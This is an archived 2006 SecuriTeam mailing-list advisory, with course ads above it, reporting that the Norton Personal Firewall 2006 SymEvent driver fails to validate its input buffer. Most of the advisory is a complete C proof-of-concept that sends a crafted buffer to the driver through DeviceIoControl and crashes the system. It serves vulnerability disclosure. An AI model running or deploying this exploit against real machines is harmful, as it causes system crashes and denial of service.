Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input

Subject: [NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer
Date: 20 Sep 2006 16:53:13 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer
------------------------------------------------------------------------


SUMMARY

Norton insufficiently protects its driver '\Device\SymEvent' against a 
manipulation by malicious applications and it fails to validate its input 
buffer. It is possible to open this driver and send arbitrary data to it, 
which are implicitly believed to be valid. It is possible to assemble the 
data in the input buffer such that the driver performs an invalid memory 
operation and crashes the whole operating system. Further impacts of this 
bug were not examined.

DETAILS

Vulnerable software:
 * Norton Personal Firewall 2006 version 9.1.0.33
 * probably all versions of Norton Personal Firewall 2006 and Norton 
Internet Security 2006
 * possibly older versions of Norton Personal Firewall and Norton Internet 
Security

Exploit:
/*

 Testing program for Insufficient validation of "SymEvent" driver input 
buffer (BTP00011P002NF)

 Usage:
 prog
   (the program is executed without special arguments)

 Description:
 This program uses standard Windows API CreateFile to open "SymEvent" 
driver and using DeviceIoControl it sends
 malicious buffer to the driver that crashs the system.

 Test:
 Running the testing program.

*/

#include <stdio.h>
#include <windows.h>

void about(void)
{
  printf("Testing program for Insufficient validation of \"SymEvent\" 
driver input buffer (BTP00011P002NF)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/\n\n";);
  return;
}

void usage(void)
{
  printf("Usage: test\n"
         "  (the program is executed without special arguments)\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %d\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code 
%d.\n",code);
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
    usage();
    return 1;
  }

  HANDLE file=CreateFile("\\\\.\\Global\\SymEvent",GENERIC_READ | 
GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,
                         NULL,OPEN_EXISTING,0,NULL);
  if (file!=INVALID_HANDLE_VALUE)
  {
    srand(GetTickCount());
    char bufout[4],bufin[20]="\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1";
    DWORD retlen;
    
DeviceIoControl(file,0x00220404,(PVOID)bufin,20,(PVOID)bufout,4,&retlen,NULL);
  } else
  {
    fprintf(stderr,"Unable to open SymEvent device.\n");
    print_last_error();
    fprintf(stderr,"\n");
  }
  

  printf("\nTEST FAILED!\n");
  return 1;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:david@matousec.com> David 
Matousek.
The original article can be found at:  
<http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php>
 
http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer, SecuriTeam <=